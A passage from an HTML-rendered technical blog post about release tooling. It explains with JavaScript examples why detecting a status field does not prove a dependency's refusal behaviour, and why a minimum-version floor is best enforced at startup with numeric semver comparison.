&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, tagged: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;versionOnMain&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Probe either one and you get the same answer. &lt;code&gt;devAhead&lt;/code&gt; is present in both.
&lt;code&gt;blockers&lt;/code&gt; has one entry in both. Every field you could reasonably test for
exists on the version that will happily tag the wrong thing.&lt;/p&gt;
&lt;p&gt;That is the general shape and it is worth naming: &lt;strong&gt;detecting a data field does
not prove the behaviour that consumes it.&lt;/strong&gt; Adding a field and acting on it are
separate changes, and only the first one is observable. The only honest probe
for “does &lt;code&gt;cut&lt;/code&gt; refuse?” is to hand &lt;code&gt;cut&lt;/code&gt; an ambiguous status and see, which
means performing the operation you were trying to protect.&lt;/p&gt;
&lt;h2&gt;Check the floor yourself, because declaring it does not&lt;/h2&gt;
&lt;p&gt;If the guarantee is invisible, the version number is the only signal left. The
obvious move is to declare it as a dependency constraint and stop thinking about
it, and for a library that is usually right. For a tool you shell out to, it is
not: npm’s own documentation says the &lt;code&gt;engines&lt;/code&gt; field is
&lt;a href=&quot;https://docs.npmjs.com/cli/v11/configuring-npm/package-json/&quot;&gt;advisory only unless the user has set the engine-strict config flag&lt;/a&gt;,
producing warnings rather than refusals. A declared floor and an enforced floor
are different things.&lt;/p&gt;
&lt;p&gt;So check it in your own process, at startup, before anything can happen.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The floor check. Runs in your process, at startup, and says what the floor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// buys rather than just quoting two numbers at the operator.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(a, b) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pa &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(a).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Number);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pb &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(b).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Number);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ((pa[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (pb[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (pa[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (pb[i] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MIN_DEP &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;0.6.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// `buys` is the important argument. A floor whose message is &quot;requires &gt;= 0.6.0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// teaches the reader nothing and invites them to lower it; a floor that names&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// the guarantee explains why lowering it is not a config change.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; requireFloor&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(actual, min &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MIN_DEP, buys &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;the refusal to release an ambiguous target&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cmpSemver&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(actual, min) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, actual };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    error:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      `needs &gt;= ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;min&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, found ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;actual&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}. ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;min&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} is where ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;buys&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} landed. `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      `An older version returns a status of the same shape and silently `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      `lacks it, so this cannot be detected from the response.`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;buys&lt;/code&gt; argument is a small thing that changes how the floor survives. A
message reading “requires &amp;gt;= 0.6.0” reads as bureaucracy, and the next person
who hits it on a machine with 0.5.0 installed will try lowering the constant to
see if it works. It will appear to work, because the missing behaviour is a
refusal that does not fire on any of the happy paths they test. Naming the
guarantee in the error is what stops that.&lt;/p&gt;
&lt;p&gt;Note that &lt;code&gt;cmpSemver&lt;/code&gt; parses rather than string-compares. Semantic Versioning
&lt;a href=&quot;https://semver.org/&quot;&gt;requires numeric comparison&lt;/a&gt; of major, minor and patch,
and lexicographic order puts &lt;code&gt;0.10.0&lt;/code&gt; below &lt;code&gt;0.9.0&lt;/code&gt;, which in a floor check
means silently accepting a version far below your minimum.&lt;/p&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { preflight, renderTable } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./preflight.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { reportsOnly, refuses } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./deps.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { requireFloor } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./floor.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; COMPONENTS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;widget&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lastTag: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.1.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnMain: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.2.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnDev: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.3.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { name: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;gadget&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, lastTag: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;1.4.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnMain: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;1.4.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, versionOnDev: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;1.4.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 1. The table an operator reads first, with both branch columns side by side.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; withStatus &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; COMPONENTS.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;c, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;refuses.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c) }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;renderTable&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;preflight&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(withStatus)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 2. Now the probe. Both dependency versions expose the same field.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ambiguous &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; COMPONENTS[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dep &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [reportsOnly, refuses]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; status &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dep.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ambiguous);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dep&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: hasOwn(status,&apos;devAhead&apos;) = ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;Object&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;hasOwn&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;devAhead&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    ` | blockers = ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;blockers&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The probe passes on both, so it proves nothing about what cut() will do.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;hasOwn&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(reportsOnly.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ambiguous), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;devAhead&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;hasOwn&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(refuses.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ambiguous), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;devAhead&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// 3. The only thing that distinguishes them is running the irreversible call.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;what cut() actually does with the same input:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dep &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [reportsOnly, refuses]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; result &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dep.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cut&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(dep.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readStatus&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ambiguous));&lt;/span&gt;&lt;/span&gt;
